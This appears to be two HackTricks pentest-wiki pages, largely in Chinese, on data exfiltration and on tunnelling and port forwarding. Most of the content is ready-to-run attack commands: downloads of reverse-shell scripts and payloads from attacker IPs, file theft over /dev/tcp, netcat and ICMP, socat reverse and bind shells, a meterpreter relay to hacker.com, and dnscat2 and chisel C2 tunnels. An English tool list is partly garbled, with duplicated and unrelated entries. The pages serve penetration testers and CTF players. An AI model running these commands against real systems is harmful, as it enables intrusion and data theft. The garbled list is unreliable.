* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Exfiltration

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

**Try Hard Security Group**

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-dae1ef8c660e0243188462f22f417bbb1a2719d3%2Ftelegram-cloud-document-1-5159108904864449420.jpg?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

***

## 常见的白名单域名用于信息泄露

查看<https://lots-project.com/>以找到常见的可被滥用的白名单域名

## 复制&粘贴Base64

**Linux**

```bash
base64 -w0 <file> #Encode file
base64 -d file #Decode file
```

**Windows**

```
certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
```

## HTTP

**Linux**

```bash
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD
```

**Windows**

```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```

### 上传文件

* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
* Python 模块 [uploadserver](https://pypi.org/project/uploadserver/):

```bash
# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
```

### **HTTPS 服务器**

```python
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###
```

## FTP

### FTP服务器（Python）

```bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```

### FTP服务器（NodeJS）

```
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```

### FTP服务器 (pure-ftp)

```bash
apt-get update && apt-get install pure-ftp
```

```bash
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
```

### **Windows** 客户端

```bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt
```

## SMB

Kali作为服务器

```bash
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```

或者使用samba创建一个smb共享：

```bash
apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart
```

Windows

***

## Exfiltration

### Techniques

1. **Exfiltration Over C2 Channel**: Utilize the existing command and control channel to exfiltrate data.
2. **Exfiltration Over Alternative Protocol**: Use alternative protocols such as DNS, ICMP, or HTTP to exfiltrate data.
3. **Exfiltration Over Unencrypted Protocols**: Leverage unencrypted protocols like FTP, Telnet, or HTTP to exfiltrate data.
4. **Exfiltration Over Encrypted Protocols**: Utilize encrypted protocols like HTTPS or SSH to exfiltrate data.
5. **Exfiltration Over Ingress Filtering**: Bypass egress filtering by exfiltrating data over allowed ingress channels.

### Tools

* **Netcat**: A versatile networking utility for reading from and writing to network connections.
* **PowerShell**: A task automation framework for configuring systems and automating tasks.
* **Certutil**: Command-line utility for managing certificates.
* **Bitsadmin**: A tool to create and manage transfer jobs using Background Intelligent Transfer Service (BITS).
* **FTP**: File Transfer Protocol for transferring files between a client and server on a network.
* **Wget**: A command-line utility for downloading files from the web.
* **Curl**: A tool for transferring data with URLs.
* **SMBClient**: A tool for accessing shared folders.
* **RDP**: Remote Desktop Protocol for remote access to Windows systems.
* **WMIC**: Command-line tool for Windows Management Instrumentation.
* **Reg**: Command-line utility for working with the registry.
* **Schtasks**: Command-line tool for managing scheduled tasks.
* **Bitsadmin**: Command-line tool for managing Background Intelligent Transfer Service (BITS) jobs.
* **Vssadmin**: Command-line tool for managing Volume Shadow Copy Service.
* **Wevtutil**: Command-line tool for managing event logs.
* **Forfiles**: Command-line tool for batch processing files.
* **Robocopy**: Command-line tool for copying files and directories.
* **Diskshadow**: Command-line tool for managing shadow copies.
* **Net**: Command-line tool for managing network resources.
* **Tasklist**: Command-line tool for listing running processes.
* **Taskkill**: Command-line tool for terminating processes.
* **Regsvr32**: Command-line tool for registering and unregistering DLLs.
* **Regini**: Command-line tool for modifying registry permissions.
* **Regsvcs**: Command-line tool for registering and unregistering .NET components.
* **Regsvr32**: Command-line tool for registering and unregistering DLLs.
* **Regsvr32**: Command-line tool for registering and unregistering DLLs.

```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:
```

## SCP

攻击者必须运行SSHd。

```bash
scp <username>@<Attacker_IP>:<directory>/<filename>
```

## SSHFS

如果受害者有SSH，攻击者可以将受害者的目录挂载到攻击者的计算机上。

```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
```

## 网络通信

```bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
```

## /dev/tcp

### 从受害者下载文件

```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```

### 上传文件至受害者

```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt
```

感谢 **@BinaryShadow\_**

## **ICMP**

```bash
# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)
```

```python
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)
```

## **SMTP**

如果您可以将数据发送到SMTP服务器，您可以使用Python创建一个SMTP来接收数据：

```bash
sudo python -m smtpd -n -c DebuggingServer :25
```

## TFTP

在XP和2003中默认情况下（在其他系统中需要在安装过程中显式添加）

在Kali中，**启动TFTP服务器**：

```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
```

**Python中的TFTP服务器：**

```bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
```

在**受害者**中，连接到Kali服务器：

```bash
tftp -i <KALI-IP> get nc.exe
```

## PHP

使用 PHP 一行代码下载文件：

```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```

## VBScript

Visual Basic Script (VBScript) 是一种基于对象的脚本语言，通常用于 Windows 环境中。VBScript 可以通过多种方式进行数据泄露，包括通过网络传输数据，将数据写入文件，或者通过电子邮件发送数据。

```bash
Attacker> python -m SimpleHTTPServer 80
```

**受害者**

```bash
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```

```bash
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```

## Debug.exe

`debug.exe`程序不仅允许检查二进制文件，还具有**从十六进制重建它们的能力**。这意味着通过提供一个二进制文件的十六进制表示，`debug.exe`可以生成该二进制文件。然而，重要的是要注意`debug.exe`有一个**组装文件大小限制为64 kb**。

```bash
# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```

## DNS

* <https://github.com/62726164/dns-exfil>

**Try Hard Security Group**

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-dae1ef8c660e0243188462f22f417bbb1a2719d3%2Ftelegram-cloud-document-1-5159108904864449420.jpg?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Tunneling and Port Forwarding

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？ 想要看到您的**公司在HackTricks中做广告**？ 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。

</details>

**Try Hard Security Group**

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-dae1ef8c660e0243188462f22f417bbb1a2719d3%2Ftelegram-cloud-document-1-5159108904864449420.jpg?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

***

## Nmap提示

{% hint style="warning" %}
**ICMP**和**SYN**扫描无法通过socks代理进行隧道传输，因此我们必须**禁用ping发现**（`-Pn`）并指定**TCP扫描**（`-sT`）才能使其正常工作。
{% endhint %}

## **Bash**

**主机 -> 跳板 -> 内部A -> 内部B**

```bash
# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
nc -lvnp 5985 0<backpipe | nc -lvnp 3333 1>backpipe

# On InternalA accessible from Jump and can access InternalB
## Expose port 3333 and connect it to the winrm port of InternalB
exec 3<>/dev/tcp/internalB/5985
exec 4<>/dev/tcp/Jump/3333
cat <&3 >&4 &
cat <&4 >&3 &

# From the host, you can now access InternalB from the Jump server
evil-winrm -u username -i Jump
```

## **SSH**

SSH图形连接（X）

```bash
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
```

### 本地端口到端口

在SSH服务器中打开新端口 --> 其他端口

```bash
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
```

```bash
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
```

### 端口到端口

本地端口 --> 受损主机（SSH） --> 第三台主机:端口

```bash
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f]  #This way the terminal is still in your host
#Example
sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
```

### Port2hostnet (proxychains)

本地端口 --> 受损主机（SSH） --> 任何地方

```bash
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
```

### 反向端口转发

这对通过 DMZ 从内部主机获取反向 shell 非常有用：

```bash
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
# Note that port 443 must be open
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
# and change the line "GatewayPorts no" to "GatewayPorts yes"
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
```

### VPN隧道

您需要在**两台设备上都有root权限**（因为您将要创建新的接口），并且sshd配置必须允许root登录：\
`PermitRootLogin yes`\
`PermitTunnel yes`

```bash
ssh root@server -w any:any #This will create Tun interfaces in both devices
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
ifconfig tun0 up #Activate the client side network interface
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
ifconfig tun0 up #Activate the server side network interface
```

在服务器端启用转发。

```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
```

在客户端上设置新路由

```
route add -net 10.0.0.0/16 gw 1.1.1.1
```

## SSHUTTLE

您可以通过**ssh**将所有流量通过主机**隧道**到一个**子网络**。\
例如，转发所有流向 10.10.10.0/24 的流量

```bash
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
```

使用私钥连接

```bash
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode
```

## Meterpreter

### 端口到端口

本地端口 --> 受损主机（活动会话） --> 第三台主机:端口

```bash
# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
```

### SOCKS

### SOCKS

```bash
background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
use auxiliary/server/socks_proxy
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```

另一种方法：

```bash
background #meterpreter session
use post/multi/manage/autoroute
set SESSION <session_n>
set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
set NETMASK <Netmask>
run
use auxiliary/server/socks_proxy
set VERSION 4a
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```

## Cobalt Strike

### SOCKS代理

在团队服务器中打开一个端口，监听所有可以用来**通过beacon路由流量**的接口。

```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080

# Set port 1080 as proxy server in proxychains.conf
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
```

### rPort2Port

{% hint style="warning" %}
在这种情况下，**端口在信标主机中打开**，而不是在团队服务器中打开，流量被发送到团队服务器，然后再转发到指定的主机:端口。
{% endhint %}

```bash
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
```

### rPort2Port 本地

{% hint style="warning" %}
在这种情况下，**端口在信标主机上打开**，而不是在团队服务器上，**流量被发送到钴蓝打击客户端**（而不是团队服务器），然后从那里发送到指定的主机:端口。
{% endhint %}

```
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
```

## reGeorg

<https://github.com/sensepost/reGeorg>

您需要上传一个Web文件隧道：ashx|aspx|js|jsp|php|php|jsp

```bash
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
```

## Chisel

您可以从<https://github.com/jpillora/chisel>的发布页面下载\
您需要为客户端和服务器使用**相同的版本**

### socks

```bash
./chisel server -p 8080 --reverse #Server -- Attacker
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
#And now you can use proxychains with port 1080 (default)

./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker
```

### 端口转发

```bash
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
```

## Rpivot

<https://github.com/klsecservices/rpivot>

反向隧道。隧道从受害者端启动。\
在 127.0.0.1:1080 上创建一个 socks4 代理。

```bash
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
```

```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
```

通过**NTLM代理**进行中继

```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
```

```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
```

## **Socat**

<https://github.com/andrew-d/static-binaries>

### 绑定 shell

```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
```

### 反向 shell

```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```

### 端口到端口

```bash
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
```

### 通过socks进行端口到端口的转发

```bash
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
```

### 通过 SSL Socat 进行 Meterpreter

```bash
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
```

```bash
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```

您可以绕过**未经身份验证的代理**，在受害者控制台中执行以下代码而不是最后一行代码：

```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```

<https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/>

### SSL Socat Tunnel

**/bin/sh 控制台**

在客户端和服务器端创建证书

```bash
# Execute these commands on both sides
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem
```

```bash
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
```

### 远程端口到端口

将本地SSH端口（22）连接到攻击者主机的443端口

```bash
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
```

## Plink.exe

这就像是一个控制台版本的 PuTTY（选项与 ssh 客户端非常相似）。

由于这个二进制文件将在受害者中执行，并且它是一个 ssh 客户端，我们需要打开我们的 ssh 服务和端口，以便我们可以建立一个反向连接。然后，只需将本地可访问端口转发到我们机器上的一个端口：

```bash
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
```

## Windows netsh

### 端口到端口

您需要是本地管理员（对于任何端口）

```bash
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
# Check the port forward was created:
netsh interface portproxy show v4tov4
# Delete port forward
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
```

## SocksOverRDP & Proxifier

您需要**通过系统获得RDP访问权限**。\
下载：

1. [SocksOverRDP x64 二进制文件](https://github.com/nccgroup/SocksOverRDP/releases) - 该工具使用Windows远程桌面服务功能中的`Dynamic Virtual Channels` (`DVC`)。DVC负责**在RDP连接上隧道传输数据包**。
2. [Proxifier 便携版二进制文件](https://www.proxifier.com/download/#win-tab)

在您的客户端计算机上加载\*\*`SocksOverRDP-Plugin.dll`\*\*，如下所示：

```bash
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```

现在我们可以使用`mstsc.exe`连接到受害者的RDP，并且我们应该收到一个提示，表示SocksOverRDP插件已启用，并且它将在127.0.0.1:1080上监听。

通过RDP连接并在受害者机器上上传并执行`SocksOverRDP-Server.exe`二进制文件：

```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```

现在，在您的机器（攻击者）上确认端口1080正在监听：

```
netstat -antb | findstr 1080
```

现在，您可以使用[**Proxifier**](https://www.proxifier.com/) **通过该端口代理流量。**

## 通过Proxifier代理Windows GUI应用程序

您可以使用[**Proxifier**](https://www.proxifier.com/) 让Windows GUI应用程序通过代理进行导航。\
在**Profile -> Proxy Servers**中添加SOCKS服务器的IP和端口。\
在**Profile -> Proxification Rules**中添加要代理的程序名称以及要代理的IP连接。

## NTLM代理绕过

前面提到的工具：**Rpivot**\
**OpenVPN**也可以绕过它，设置配置文件中的这些选项：

```bash
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
```

### Cntlm

<http://cntlm.sourceforge.net/>

它对代理进行身份验证，并在本地绑定一个端口，该端口被转发到您指定的外部服务。然后，您可以通过此端口使用您选择的工具。\
例如，将端口443转发。

```
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
```

现在，如果您在受害者中设置**SSH**服务监听端口443。您可以通过攻击者端口2222连接到它。\
您还可以使用连接到localhost:443的**meterpreter**，而攻击者正在监听端口2222。

## YARP

由Microsoft创建的反向代理。您可以在这里找到它：<https://github.com/microsoft/reverse-proxy>

## DNS隧道

### Iodine

<https://code.kryo.se/iodine/>

在两个系统中都需要root权限来创建tun适配器，并使用DNS查询在它们之间传输数据。

```
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```

隧道速度会很慢。您可以通过以下方式在此隧道上创建一个压缩的SSH连接：

```
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```

### DNSCat2

[**从这里下载**](https://github.com/iagox86/dnscat2)**。**

通过 DNS 建立 C\&C 通道。不需要 root 权限。

```bash
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com

# If using it in an internal network for a CTF:
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
```

#### **在 PowerShell 中**

您可以使用 [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) 在 PowerShell 中运行 dnscat2 客户端：

```
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
```

#### **使用dnscat进行端口转发**

```bash
session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
```

#### 更改 proxychains DNS

